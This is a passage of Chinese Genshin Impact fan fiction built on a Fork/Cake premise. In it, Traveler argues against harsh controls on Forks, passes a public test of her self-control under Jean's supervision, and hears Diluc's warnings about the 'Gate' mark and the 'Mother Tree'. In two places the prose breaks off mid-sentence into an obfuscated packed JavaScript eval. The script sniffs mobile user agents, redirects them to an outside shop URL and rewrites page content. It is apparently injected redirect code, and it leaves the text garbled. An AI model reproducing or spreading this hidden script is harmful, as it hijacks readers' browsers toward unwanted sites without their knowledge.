主教的提议看似合理,实则是在挤压Fork的生存空间。宵禁,定位,强制用药——这些措施一旦实施,Fork在蒙德就真的成了“被监管的隐患”,再也谈不上任何自由或尊严。 而琴在犹豫。 她必须在民众安全和她的理念之间做选择。 “我反对。” 一个声音忽然响起。 不是琴,也不是凯亚。 是荧自己。 她站起来,看着主教。 “抑制剂有依赖性和副作用。长期服用,会损伤身体,甚至缩短寿命。”她说,声音很稳,“而且,不是所有Fork都会失控。用最严厉的措施对待所有人,这不公平。” 主教看着她,眼神深邃。 “孩子,你的情况特殊。你得到了代理团长亲自的训练和庇护。”他说,“但大多数Fork没有这样的条件。他们挣扎在本能和理智之间,每一天都可能崩溃。严格的监管,至少能防止悲剧发生。” “然后让他们活得像个囚犯?”荧说,“那样活着,和疯了有什么区别?” 会议室里一片寂静。 主教脸上的笑容淡了些。 “那么,你的提议是?” 荧深吸一口气。 “训练。”她说,“像琴团长训练我一样,建立系统的训练方案,教Fork如何控制本能,如何建立锚点。同时,普及Cake如何收敛气息、如何在紧急情况下自保的知识。双方共同努力,而不是单方面压制一方。” 凯亚吹了声口哨——很轻,但在安静的会议室里格外清晰。 主教看向琴。 “代理团长大人的意思呢?” 琴终于抬起头。 她看向荧,看了很久。然后,缓缓开口。 “荧的提议,和骑士团正在制定的新方案方向一致。”她说,“但实施需要时间。在方案完善之前,我同意暂时加强监管——但不是宵禁和定位。而是增加公共区域的巡逻密度,同时设立免费的抑制剂领取点,自愿领取,不强制。” 她顿了顿。 “教会方面,我希望加大针对民众的宣传教育,消除不必要的恐慌。而不是煽动对立。” 主教的脸色微微变了。 但琴没给他反驳的机会。 “今天的会议就到这里。”她站起身,“具体方案细节,我会在一周内提交给各位审阅。散会。” 说完,她率先走向门口。 经过荧身边时,她低声说了一句。 “跟我来。” 荧跟上。 派蒙赶紧从窗台飞下来,追在后面。 凯亚也慢悠悠地站起来,收拾文件。经过主教身边时,他笑了笑。 “主教大人,下次开会,记得带点实际的预算方案。光提建议不给钱,可不是好习惯。” 主教看了他一眼,没说话,起身离开了。 荧跟着琴走进她的办公室。 琴关上门,走到窗边,背对着荧。 “刚才的发言,是你自己想的?”她问。 “是。” “为什么。” “因为不对。”荧说,“Fork不是怪物。不应该被当成怪物对待。” 琴转过身。 她的表情很复杂。 “你说得对。”她说,“但现实是,大多数人不这么想。主教代表了教会和相当一部分民众的意愿。今天的会议,我压下去了,但下次呢?下下次呢?” 她走到办公桌后,坐下。 “你必须更快地证明自己。”她看着荧,“证明Fork可以控制本能,可以和Cake和平共处。否则,等民众的耐心耗尽,等下一次严重的失控事件发生……我也保不住你。” 荧沉默。 她知道琴说的是事实。 “从明天开始,特训结束。”琴说,“你和派蒙搬回蒙德城的住所。每天上午来骑士团总部,进行半天的公开训练——让所有人都能看到,你在进步,在控制自己。” 她顿了顿。 “下午,你可以自由活动。但记住,不要再接触任何和地脉有关的东西。也不要再和凯亚单独执行任务。” “为什么。” “他太危险。”琴说,语气严肃,“他对你的兴趣,已经超出了正常范围。今天会议上他替你说话,不是出于善意,是想看看你能做到什么程度,想看你能搅起多大的风浪。” 荧想起凯亚在遗迹里的眼神。那种兴奋的、像是发现了新玩具的眼神。 “我知道了。”她说。 琴点点头,疲惫地揉了揉眉心。 “回去吧。明天早上八点,训练场见。这次……会有很多人看着。” 荧转身离开。 派蒙跟在她身后,飞得很慢。一直到走出骑士团总部,走到街上,派蒙才小声开口。 “荧……” “嗯?” “你会没事的,对吧?”派蒙的声音里带着担忧,“那些人……他们看你的眼神,好可怕。” 荧停下脚步,抬头看天。 夕阳西下,天空被染成橘红色。风车缓缓转动,鸽群掠过钟楼。 这座城市很美。 但也很冷。 “会没事的。”她说,继续往前走。 手腕上的烙印,在夕阳的余晖里,隐隐发烫。 下章预告 公开训练的第一天,训练场外围满了人。有好奇的民众,有戒备的骑士,也有来自暗处的监视目光。荧在众目睽睽下进行气息控制测试,而凯亚“恰好”路过,带来了一个消息——迪卢克从璃月回来了,并且指名要见她。琴的脸色当场沉了下去。三方第一次非正式的碰面,即将在训练场边发生。派蒙紧张地抓住荧的头发,小声说:“我、我觉得我们该跑了……” 17. 公开测试 公开测试的前夜,荧没睡好。 手腕上的烙印在半夜隐隐发烫,像有火苗在皮肤底下慢慢舔。她爬起来,借着窗外的月光看,那圈浅褐色的痕迹在黑暗中泛着微弱的暗红,像冷却的余烬。 派蒙在旁边的小篮子里睡得四仰八叉,发出细细的呼噜声。 荧躺回去,盯着天花板。 明天要面对很多人。好奇的,恐惧的,审视的。琴说这是必要的步骤——证明自己,换取生存空间。 但真的只是这样吗? 她想起白天会议室里那些目光。主教温和表象下的冰冷,骑士团高层眼里的权衡,还有凯亚……那只独眼里闪过的、像是期待好戏上演的微光。 所有人都在等她表演。 等她证明Fork可以“安全”。 或者,等她搞砸。 天快亮时她才迷迷糊糊睡去。感觉刚闭眼,派蒙就在耳边嚷嚷。 “荧!起床了!要迟到了!” 荧睁开眼,窗外天光大亮。她坐起身,揉了揉发胀的太阳穴。 “快点快点!”派蒙已经飞在衣柜前,扒拉着衣服,“穿哪件?这件?还是这件?哎呀琴团长说今天要正式一点,不能穿得太随便……” 最后选了一套深棕色的束腰长裤和浅灰色的衬衫,外面套一件简单的皮制马甲。头发扎成高马尾,露出后颈——这是个下意识的决定。既然要展示“控制”,那就干脆点。 派蒙围着她飞了两圈。 “好看!”她竖起大拇指,又小声说,“不过你脸色还是好差……昨晚没睡好吗?” “没事。”荧说,拿起桌上的薄荷糖罐,倒出两颗塞进嘴里。 清凉刺激冲上鼻腔,稍微压下了胃里那团暗影的躁动。烙印还在发烫,但比昨晚好些。 出门,走向骑士团总部。 街道上人不多,但能感觉到目光。早起摆摊的商贩,清扫街道的妇人,巡逻的骑士……视线或明或暗地落在她身上,又很快移开。 窃窃私语像风一样飘过来。 “就是她……” “Fork啊……” “看着挺正常的……” “谁知道呢……” 荧面无表情地往前走。派蒙紧紧贴着她肩膀飞,小手抓着她的衣领。 “别听他们。”派蒙小声说,“就当没听见。” “嗯。” 训练场在骑士团总部后方,是一片开阔的石砌场地。平时这里用来进行骑士的日常训练,但今天—— 场边围满了人。 荧的脚步顿了一下。 比她想象的还多。不止是骑士团的人,还有不少普通民众,挤在场边的围栏外,伸着脖子往里面看。教会的人也来了,穿着深蓝色长袍的修女站在靠前的位置,手里拿着记录板。 而在训练场中央,琴已经站在那里。 她穿着全套训练服,深蓝色束腰上衣和长裤,金发扎成利落的马尾,腰间的长剑在晨光里泛着冷光。看见荧进来,她点了点头。 “过来。” 荧穿过人群。那些目光黏在她背上,沉甸甸的。 走到场中央,琴指了指旁边一张长桌。 “今天的测试分三项。气息感知控制,生理反应抑制,以及模拟实战应对。”她声音不大,但清晰地传遍全场,“每一项都有具体指标。完成达标,即证明训练有效。” 桌上摆着几个玻璃罩子。每个罩子里放着不同的小瓶子——里面是浓度不等的Cake气息样本。从最低级的、几乎无害的普通Cake气息,到中等的,再到……最后一瓶,标签上写着“高危,仅供测试”。 荧的目光在那瓶“高危”上停了一下。 琴注意到了。 “那是最终测试项。”她说,“你可以选择不做。但如果不做,今天的公开评估就无法获得最高评级。” 最高评级意味着什么,琴没说。但荧知道——那意味着更多的自由,更少的监管,以及更重的期望。 “我做。”她说。 琴看了她一眼,没说什么,只是示意她站到指定的位置。 “第一项,基础感知控制。”琴拿起第一个玻璃罩,里面是最低浓度的样本,“我会依次打开罩子,释放气息。你需要做的是——感知,但不受影响。维持正常心率,呼吸平稳,没有任何攻击性或失控征兆。明白吗?” “明白。” 罩子打开。 一股很淡的、像是甜杏仁混合着青草的气息飘出来。荧胃里那团暗影动了动,但很轻微。她调整呼吸,意识里锁定那个银白色的坐标——琴的“镇魂香”印记。 十秒。 二十秒。 三十秒。 琴看着手里的怀表,又观察荧的状态。然后点头。 “通过。” 场边传来轻微的骚动。有人小声议论,有人在本子上记录。 第二个罩子。中等浓度。 这次的气息浓了些,带着蜂蜜和烤苹果的甜香。暗影的蠕动变强了,荧能感觉到口水在分泌。她咬住舌尖,疼痛让意识更清醒。坐标光点微微摇晃,但依然稳固。 四十秒。 琴合上罩子。 “通过。” 第三个罩子。 高等浓度。 罩子打开的瞬间,荧的呼吸滞了一下。 这股气息太熟悉了——是凯亚的。冰冽的玫瑰酒香,被刻意浓缩提纯过,带着强烈的侵略性。即使隔着一段距离,那股气息依然像细针,扎进她的皮肤。 胃里的暗影猛地翻腾起来。 渴望。强烈的渴望。身体在发烫,后颈的汗毛立起,她能听见自己的心跳在加快。 “控制呼吸。”琴的声音传来,冷静得像在指挥战斗,“稳住坐标。” 荧死死盯着意识里那点银光。冰雪松针,干燥薰衣草,温热的琥珀……她反复勾勒那个意象,把全部注意力钉在上面。 但凯亚的气息太狡猾了。 像本人一样狡猾的狐狸。 它不像其他样本那样直白地诱惑,而是像蛇一样缠绕上来,冰冷又黏腻,钻进感知的缝隙,试图撬开防御。 荧的手在身侧握成了拳。 指甲掐进掌心,更深了。血渗出来,但疼痛带来的清醒感,抵消了一部分诱惑。 一分钟。 琴合上罩子。 气息消散的瞬间,荧踉跄了一下,扶住旁边的木桩才站稳。额头全是冷汗,后背湿透了。 “通过。”琴说,声音里听不出情绪,但看向荧的眼神深了些,“休息五分钟,进行第二项。” 派蒙飞过来,小手捧着一杯水。 “喝点水……”她声音里带着哭腔,“你的手在流血……” 荧接过水杯,一口气喝完。冰凉的水滑过喉咙,稍微缓解了身体的燥热。她低头看手心——四个深深的月牙形血印。 “没事。”她说,用袖子擦了擦。 场边的议论声更大了。 有人在摇头,有人在指指点点。修女们低头快速记录。骑士团的人表情各异,有的严肃,有的担忧,也有几个脸上带着毫不掩饰的怀疑。 凯亚站在人群的最前排。 他抱着胳膊,斜倚在围栏上,脸上挂着那副惯有的、似笑非笑的表情。看见荧看过来,他甚至还抬手,懒洋洋地挥了挥。 荧收回视线。 ‘狡猾的狐狸。’ 第二项测试开始。 这次不是气息感知,是生理反应抑制。琴拿来一副特制的、连着各种导线的金属手环,戴在荧的手腕和脚踝上。 “这些仪器会实时监测你的心率、血压、皮肤电反应等生理指标。”琴解释。 “我会在你面前展示不同强度的Cake气息样本,同时进行一些可能诱发紧张或攻击性的动作。你需要做的是——保持生理指标稳定。” 说白了,就是测试她会不会因为惊吓或刺激而失控。 荧点头。 琴开始。 第一个样本,低浓度。琴突然拔剑,剑尖指向荧的咽喉——在距离她皮肤只有一寸的地方停住。 荧的瞳孔收缩了一下,心率瞬间飙升。仪器发出滴滴的警报声。 但很快,指标回落。 她控制住了。不是因为不怕——那一瞬间的寒意是真实的——而是因为她把那股恐惧转化成了更集中的注意力,牢牢锁在坐标上。 “合格。”琴收剑。 第二个样本,中等浓度。琴绕到她身后,气息忽然加强,同时用手刀劈向她后颈——在碰到皮肤前停下。 荧的汗毛炸起。背后是fork,是威胁。本能叫嚣着转身,扑咬,或者逃跑。 她没动。 脚像钉在地上,手指死死扣住木桩的边缘。心率又跳了一下,但很快压回去。 “合格。” 第三个样本,高等浓度。 这次琴没有用剑,也没有攻击动作。她只是走到荧面前,很近的距离,然后——释放了自己的气息。 不是平时那种收敛的状态。 是全开的,属于琴·古恩希尔德的、纯粹的fork气息。 冰雪松针混着冷杉的凛冽,底下是温热的琥珀和干燥薰衣草,浓郁得像一场暴风雪,劈头盖脸地砸下来。 荧的呼吸彻底乱了。 眼前发黑,耳朵里嗡嗡作响。胃里的暗影在疯狂咆哮,身体每一个细胞都在尖叫——靠近,获取,吞噬。 仪器警报疯了一样响。 心率飙升,血压暴涨,皮肤电反应曲线剧烈波动。 场边一片哗然。 “要失控了!” “快拦住她!” 琴没有收手。 她甚至更近了一步,几乎贴着荧。气息像牢笼,把她死死困住。 “看着我。”琴的声音很低,只有她们两人能听见,“看着我,荧。我是谁。” 荧的视线模糊。意识在崩塌边缘。银白色的坐标光点摇摇欲坠,快要被暴风雪吞没。 她咬破了已经结痂的舌尖。 新的血腥味在口腔里炸开。 疼痛。 清晰的、尖锐的疼痛,像一根钉子,把她快要飘散的意识钉回身体。 她抬起头,看向琴的眼睛。 湖蓝色的,冷静的,深处藏着某种近乎残忍的决绝的眼睛。 “你是……”她喘着气,每个字都像从喉咙里抠出来,“琴……团长。” 琴的气息,忽然收了一下。 虽然只有一瞬间,但那股压迫感减弱了少许。荧趁机死死抓住坐标,用尽全部意志,把它重新点亮。 仪器警报声渐渐平息。 指标曲线缓慢回落。 全场寂静。 所有人都屏住呼吸,看着场中央的两人。琴依然站着,荧依然撑着木桩,但那股剑拔弩张的、仿佛下一秒就要见血的紧绷感,慢慢散去了。 琴后退一步。 气息完全收敛。 “合格。”她说,声音恢复了平时的平稳,但荧听出了一丝极细微的颤抖。 场边爆发出各种声音——惊呼,议论,掌声,还有倒吸冷气的声音。 派蒙哭着飞过来,抱住荧的脖子。 “吓死我了……呜呜呜我以为你要……” “没事。”荧拍拍她的背,才发现自己的手抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不是语言,是感觉。 ……不。 ……现在不行。 共鸣点安静了一瞬。 像是疑惑,又像是……服从? 那块碎块的呼唤减弱了。暗红的光芒暗淡了些。荧身体里那股想要靠近的冲动,也慢慢平息。 她站在原地,没再往前。 汗水顺着脸颊往下淌,滴在石板上。手腕上的烙印烫得像是要烧穿皮肤。 但她控制住了。 三分钟。 琴合上罩子。 碎块被隔绝,呼唤消失。烙印的滚烫慢慢消退,变成持续的、闷闷的痛。 全场死寂。 所有人都看着荧。看着她苍白的脸,颤抖的手,还有那双依然清明的眼睛。 琴放下罩子,走到场中央。 “公开测试结束。”她的声音传遍全场,“三项全部通过。评级——优秀。” 短暂的沉默后,掌声响起。 不算热烈,但足够清晰。骑士团的人先鼓掌,然后是部分民众。修女们低头记录,主教站在人群中,脸色看不出情绪。 凯亚也在鼓掌。 慢悠悠的,一下,又一下。脸上挂着笑,但那只独眼里闪烁的东西,让荧后背发凉。 那不只是兴趣。 那是……发现宝藏的兴奋。 琴示意荧跟她走。两人穿过人群,走向训练场边的休息室。派蒙紧紧跟着。 关上门,隔开外面的声音。 琴转身,看着荧。 “最后那个样本,”她说,“你怎么抵抗的?” 荧沉默。 她不能说实话。不能说自己身体里有个共鸣点,不能说自己和那东西“对话”了。 “靠意志。”她说,声音沙哑。 琴盯着她,看了很久。 然后,她叹了口气。 “不管怎样,你通过了。”她说,“从今天起,你可以自由活动。但记住——离地脉相关的东西远一点。也离凯亚远一点。” 话音刚落,休息室的门被敲响了。 不是礼貌的敲门,是带着点懒散节奏的、像是随手拍两下的声音。 琴的眉头皱了起来。 门开了。 凯亚靠在门框上,笑眯眯地看着里面。 “打扰了,代理团长大人。”他说,视线落在荧身上,“我只是来传个话——迪卢克老爷从璃月回来了。刚进城,就直接来了骑士团。指名要见我们的小英雄。” 他顿了顿,笑容深了些。 “现在就在楼下会客室等着呢。” 琴的脸色,瞬间沉了下去。 荧感觉到休息室里的空气,一下子冷了八度。 派蒙躲到她身后,小手抓紧她的衣角,用只有她能听见的声音小声说: “我、我觉得我们该跑了……” 下章预告 楼下会客室里,迪卢克已经等了十分钟。他带回了璃月关于“外来者”和“门”的线索,也带回了更深的疑虑。而凯亚“好心”地带路,让荧不得不直面这位烈焰般的守护者。琴跟在后面,脸色冷得像冰。三方第一次非正式的碰面,每一句话都藏着机锋。而荧手腕上的烙印,在靠近迪卢克时,又开始发烫了——这一次,烫得不同寻常。 18. 会见迪卢克 休息室里的空气凝住了。 琴站在荧身前半步,肩膀绷得很紧,深蓝色制服的布料在晨光里泛着冷硬的光泽。她没看凯亚,目光落在虚空的某一点,但荧能感觉到——琴在生气。 不是外露的怒火,是更深的那种,沉在冰层底下的暗流。 凯亚还靠在门框上,姿态悠闲得像在自家阳台晒太阳。但他那只露在外面的独眼,在琴和荧之间慢悠悠地转了个来回,最后定格在琴脸上。 “怎么?”他挑了挑眉,语气里的笑意没减,但多了点别的,“代理团长大人不打算让我们的功臣见见‘老朋友’?” “迪卢克回来是他的事。”琴开口,声音平得像结冰的湖面,“荧今天的训练已经结束,需要休息。” “哎——别这么无情嘛。”凯亚直起身,走进休息室。他的披风下摆扫过门槛,带进一股外面训练场的尘土气味,“人家大老远从璃月赶回来,第一时间就来骑士团,这份心意多感人啊。” 他走到桌边,随手拿起一个空水杯把玩。 “再说了,”他转着杯子,眼睛看着杯壁上模糊的倒影,“迪卢克老爷带回来的……可不只是璃月的特产点心。” 最后半句话,他说得很轻。 但琴的肩膀,几不可察地绷紧了一瞬。 荧站在琴身后,手腕上的烙印还在隐隐发烫。刚才测试时那块地脉碎块的刺激还没完全消退,身体深处那个共鸣点像被惊醒的野兽,在暗处焦躁地逡巡。 派蒙抓着她衣角的手在抖。 “荧……”小家伙的声音带着哭腔,“我们、我们回家好不好……” 回家? 荧在心里苦笑。她现在哪有家。蒙德城的临时住所是骑士团安排的,庄园是琴的,就连身边这个小家伙,也是在这个世界才认识的。 她哪都回不去。 “去见见吧。”荧开口,声音比她自己想的要平静。 琴猛地回头看她。 “你——” “既然迪卢克先生特意来了。”荧继续说,避开琴的目光,“不见一面,不礼貌。” 这是实话,也是借口。她想知道迪卢克带回了什么。关于璃月,关于“门”,关于……也许和哥哥有关的线索。 凯亚吹了声口哨。 “瞧,小可爱多懂事。”他放下杯子,走到门边,做了个“请”的手势,“走吧?别让咱们的暗夜英雄等急了。” 琴盯着荧看了几秒。 最终,她深吸一口气,转身走向门口。经过凯亚身边时,她脚步没停,但扔下一句话,声音低得只有他们三人能听见。 “凯亚,适可而止。” 凯亚笑着摊手。 “我一向很有分寸,团长大人。” 下楼。 骑士团总部的楼梯是厚重的石砌台阶,脚步声在上面回荡出沉闷的回响。派蒙飞在荧身边,小手紧紧抓着她的手指。荧能感觉到小家伙的颤抖——不是冷的,是怕的。 三楼到二楼,转弯。 二楼的走廊比训练场那边安静得多。两侧是挂着历代团长肖像的墙壁,画像里的人用各种严肃的目光注视着经过的人。尽头是会客室,深色的橡木门紧闭着。 琴走到门前,停下。 她没立刻推门,而是侧头看了荧一眼。那眼神很复杂,有警告,有担忧,还有一丝荧看不懂的……疲惫? 然后她抬手,敲门。 “进来。” 声音从门内传来。很低,很稳,带着某种磐石般的质感。 琴推开门。 会客室不大,陈设简单。一张长桌,几把高背椅,壁炉里燃着微弱的火。窗边站着一个人。 迪卢克·莱艮芬德。 他背对着门,看着窗外。暗红色的长发束在脑后,露出线条冷硬的后颈。黑色的修身外套,深红的内衬,肩线挺括得像刀刃。听见开门声,他转过身。 那双赤红色的眼睛,第一时间锁定了荧。 不是扫视,是锁定。像猎鹰盯住目标,锐利,专注,带着某种荧无法立刻解读的沉重压力。 然后,他的视线才移到琴身上,微微颔首。 “代理团长。” “迪卢克前辈。”琴点头回应,语气正式,“听说你刚从璃月回来。” “昨天傍晚到的。”迪卢克说,声音没什么起伏。他的目光重新回到荧身上,上下打量了一圈,“你的公开测试,我看了后半程。” 荧愣了一下。 “你……在场?” “在总部门口。”迪卢克走到桌边,拉开一把椅子,却没有坐下,“人群后面。” 难怪。荧想起测试时那种如芒在背的感觉,原来不只是围观群众的视线。 “所以,”凯亚慢悠悠地晃进来,顺手带上门,“迪卢克老爷专程来,是想给我们的小英雄一点评价?” 迪卢克没理他。 他盯着荧,看了足足五秒。那目光太直接,太有穿透力,荧几乎能感觉到皮肤被灼烧的错觉。 “最后那个样本,”迪卢克开口,“是地脉污染物。” 不是疑问,是陈述。 荧点头。 “你怎么抵抗的。”他问,和琴问过一模一样的问题。 荧给出一样的答案。 “靠意志。” 迪卢克的眉头,极轻微地皱了一下。 很细微的动作,但在他那张总是没什么表情的脸上,显得格外明显。 “地脉污染物对Fork的诱导性,不是意志能完全抵抗的。”他说,走到壁炉边,拿起火钳拨了拨炉火。 “璃月有过类似案例。三个接触污染的Fork,意志最坚定的那个撑得最久——但异变得也最彻底。” 火焰噼啪一声,窜高了一瞬。 “异变?”荧问。 “身体部分元素化,认知扭曲,最终成为污染源的一部分。”迪卢克放下火钳,转身,“你接触的时间不长,但已经留下了印记。” 他的视线落在荧的手腕上。 隔着袖子,但荧觉得他看见了。看见了那圈淡了的、但依然存在的烙印。 琴往前一步,挡在荧身前。 “迪卢克前辈,这件事骑士团已经在处理。”她的声音带着不容置疑的强硬,“荧接受了净化治疗,目前情况稳定。” “净化治疗。”迪卢克重复这四个字,语气里听不出情绪,“古恩希尔德家族的方法?” “是。” “成功率?” “……有记载的成功案例,百分之三十七。” “失败的呢。” 琴沉默了一瞬。 “失败案例,不在今天的讨论范围内。”她最后说。 迪卢克看着她,赤红的眼睛里有什么东西沉了下去。 “琴。”他第一次叫了她的名字,而不是职务,“你把她当什么?实验品?还是你证明自己理论的筹码?” 会客室里的空气,瞬间降到冰点。 凯亚靠在门边的墙上,抱着胳膊,嘴角的笑意加深了。那是一种看好戏的笑,幸灾乐祸,又带着点别的什么。 琴的脸色白了白。 但她站得很直,下巴微微抬起,那是她面对质疑时惯有的防御姿态。 “我是在帮她。”她说,每个字都咬得很清楚,“也是在帮所有像她一样的Fork,找一条能活下去的路。” “用百分之三十七的成功率?”迪卢克的声音依然平稳,但底下的冷意更刺骨,“用那些‘不在讨论范围内’的失败案例?” 他往前走了一步。 身高带来的压迫感瞬间逼近。琴没退,但荧看见她垂在身侧的手,握成了拳。 “璃月的档案里,有七十二例地脉污染接触者的完整记录。”迪卢克说,声音低了些,但每个字都像锤子砸在石板上。 “存活下来的,九个。神志完好的,两个。其中一个,现在被关在绝云间最深处的洞窟里,用三重封印锁着,因为他会无差别攻击所有靠近的活物——包括曾经最爱的人。” 他停顿了一下。 “另一个,是我这次在璃月见到的。她‘活’着,但每天需要服用三种不同的抑制剂,两种镇定剂,才能保持基本清醒。她丈夫告诉我,她已经三年没碰过他们的孩子了——因为怕失控。” 壁炉里的火静静燃烧。 窗外的光斜射进来,在木地板上切出明亮的光带。但会客室里冷得像地窖。 “这就是你给她找的路?”迪卢克最后问,声音很轻,却重得让人喘不过气。 琴的嘴唇抿成一条苍白的线。 她没说话。 没法说话。 荧站在她身后,看着她的背影。那个永远挺直、永远可靠、永远扛着一切的背影,此刻在迪卢克的质问下,显出了一丝裂痕。 很细,但存在。 “迪卢克老爷。”凯亚忽然开口,打破了僵局,“你大老远回来,不会就为了给我们代理团长大人上课吧?” 迪卢克侧头看他。 “情报。”他说,“关于‘门’和‘外来者’的。” 这个词出口的瞬间,荧感觉到手腕上的烙印猛地一烫! 不是之前那种持续的灼热,是尖锐的、像是被针扎了一下的刺痛。她差点叫出声,死死咬住牙才忍住。 共鸣点苏醒了。 疯狂震颤。 迪卢克注意到了她的异常。他的视线再次锁定她,赤红的瞳孔微微收缩。 “你怎么了。” “没事。”荧说,声音有点抖,“有点累。” 迪卢克盯着她看了几秒,没再追问,但眼神里的疑虑更重了。 他从外套内侧的口袋里,取出一个扁平的金属盒子,放在桌上。打开,里面不是文件,是几块大小不一的、暗蓝色的碎晶。晶体内都有杂质——黑色的、像血管一样蔓延的纹路。 “璃月层岩巨渊深处挖出来的。”迪卢克说,“带有‘门’的残留波动。” 琴走过去,拿起一块碎晶,对着光看。 “和蒙德发现的……很像。” “不只是像。”迪卢克说,“根据璃月七星提供的分析报告,这些碎晶里的波动频率,和五百年前坎瑞亚灾变时期遗留的地脉异常数据……有百分之八十以上的重合。” 坎瑞亚。 荧记得这个词。在提瓦特的传说里,那是个已经灭亡的古国,和深渊有关。 “所以‘门’和坎瑞亚有关?”凯亚问,语气依然轻松,但荧看见他抱着胳膊的手指,无意识地收紧了些。 “不确定。”迪卢克说,“但璃月的学者提出了一个假设——‘门’可能不是自然现象。是某种……人为开启的通道。连接提瓦特和其他地方。” 其他地方。 荧的心脏漏跳了一拍。 “其他地方是哪里?”她问,声音干涩。 迪卢克看向她。 “不知道。”他说,“但接触过‘门’波动的人,都会报告类似的症状——听到呼唤,看到幻象,产生强烈的‘想回家’的冲动。不管他们的家在哪里。” 他顿了顿。 “而所有症状者,最终都会出现同一个幻象。” “什么幻象?”琴问。 迪卢克从盒子里拿起最小的那块碎晶。暗蓝色的晶体在他指尖微微发光,里面的黑色纹路像活了一样缓慢蠕动。 “一棵树。”他说,声音低了下去,“巨大到看不到顶的树。树下有无数身影,在跪拜,在祈祷,在等待。” 荧的呼吸停了。 她想起在藏书室,触碰那块琥珀时看到的画面。 巨大的树影。 跪拜的身影。 一模一样。 “璃月那边称它为‘世界树’。”迪卢克放下碎晶,“但更古老的文献里,它有个更原始的名字——” 他抬起眼,看向荧。 赤红色的瞳孔深处,倒映着壁炉跳跃的火光,也倒映着她苍白的脸。 “——‘母树’。” 这个词像一道惊雷,劈进会客室。 琴手里的碎晶掉在桌上,发出清脆的撞击声。她猛地看向迪卢克,又猛地看向荧,脸色彻底变了。 凯亚站直了身体。 他脸上那种玩世不恭的笑,第一次完全消失了。取而代之的,是一种荧从未见过的、冰冷的锐利。 “母树。”他重复,声音很轻,但每个字都像冰锥,“古恩希尔德家族最高机密里的那个‘母树’?” 琴没回答。 她的手按在桌沿,指节发白。目光死死盯着迪卢克。 “你怎么会知道……” “璃月有他们的古老家族,琴。”迪卢克打断她,“有些秘密,不是只有古恩希尔德在守护。” 他重新看向荧。 “你触碰过地脉污染物,听到了呼唤,看到了幻象。”他说,不是疑问,是确认,“而你现在手腕上那个印记——就是‘门’的标记。对吗。” 荧张了张嘴,发不出声音。 她该否认。琴警告过她,不能告诉任何人。 但她看着迪卢克的眼睛。那双赤红色的、像熔岩又像鲜血的眼睛里,没有试探,没有算计,只有一种沉重的、近乎残酷的坦诚。 他在告诉她真相。 也在向她索要真相。 “……对。”她最终说。 琴闭上眼睛,深吸了一口气。 凯亚低低地吹了声口哨。 “哇哦。”他说,声音里重新带上了笑意,但这次的笑又冷又涩,“小可爱,你身上的秘密,比我想的还要精彩啊。” 派蒙抓紧了荧的手指,小小的身体在发抖。 “荧……”她小声说,声音里全是恐惧,“他在说什么呀……什么树……什么门……我好害怕……” 荧反手握紧她。 “所以,”迪卢克继续说,仿佛刚才那个爆炸性的揭露只是普通对话,“你现在是‘门’的标记者。地脉异常生物会把你当同类,或者当猎物。而‘门’本身——不管它是什么——也会通过这个标记,持续影响你。” 他走到窗边,背对着所有人。 “璃月的那个幸存者,手腕上也有类似的印记。三年了,印记没有消失,反而在缓慢扩散。她丈夫说,她晚上做梦,会哭着喊‘妈妈,带我回家’——但她母亲十年前就去世了。” 窗外传来蒙德城街道的喧闹声。马车轱辘碾过石板,商贩叫卖,孩童嬉笑。那些声音隔着玻璃传进来,模糊又遥远。 会客室里死寂。 “我能做什么。”荧问,声音平静得她自己都惊讶。 迪卢克转过身。 “离开蒙德。”他说,没有任何迂回,“去璃月。那里有更完善的封印技术,也有更丰富的对抗地脉污染的经验。我可以安排——” “不行。” 琴的声音斩钉截铁。 她睁开眼睛,走到荧身边,和她并肩站立。那双湖蓝色的眼睛再次恢复了冷静,甚至比平时更冷,像冻实的湖面。 “荧是骑士 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122945|195980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 团的受训人员,是我的责任。”她看着迪卢克,一字一句地说,“她的治疗,她的安全,由我负责。” “用百分之三十七的成功率负责?”迪卢克的声音里带上了一丝讥讽。 “用古恩希尔德家族六百年的研究负责。”琴毫不退让,“迪卢克前辈,你的情报很有价值,我感谢。但处置方式,必须由骑士团——由我决定。” “然后看着她变成下一个璃月的案例?” “她不会。” “你凭什么保证?” “凭我是琴·古恩希尔德。” 这句话说出来的瞬间,琴的身上爆发出一种强烈的、近乎压迫感的气息。不是Cake的诱惑气息,是另一种东西——属于统治者的威严,属于守护者的决绝,属于一个背负着六百年家族使命的继承人的绝对自信。 迪卢克看着她,赤红的眼睛里翻涌着复杂的情绪。 愤怒。不解。还有一丝失望? “琴。”他再次叫她的名字,声音低了下去,“你会害死她。” “我不会。” “你已经在害她了。” 两人的目光在空中撞在一起,像两把出鞘的剑,火星四溅。 凯亚忽然笑了起来。 “哎呀呀。”他拍着手,慢悠悠地走到桌子另一边,“这么热闹。不知道的还以为我们在商量怎么分遗产呢。” 他拿起一块碎晶,在指尖把玩。 “不过说真的——小可爱现在就是个活靶子。地脉怪物想找她,‘门’想找她,说不定深渊教团也想找她。留在蒙德,确实不太安全。” 他看向琴,笑眯眯的。 “但去璃月呢……人生地不熟,万一出点什么事,我们可爱的代理团长大人可就要心疼死了。” 琴的脸色又白了一分。 迪卢克盯着凯亚,眼神冷得像要杀人。 “凯亚,这不是玩笑。” “我知道啊。”凯亚放下碎晶,摊手,“所以我有个提议——折中。” 他走到荧面前,弯下腰,视线和她平齐。 那只独眼里闪烁着荧看不懂的光,像深井里的倒影,扭曲又真实。 “小可爱自己选。”他说,声音很轻,但每个人都听得清清楚楚,“留下,跟琴团长继续训练。或者,跟迪卢克老爷去璃月寻求治疗。” 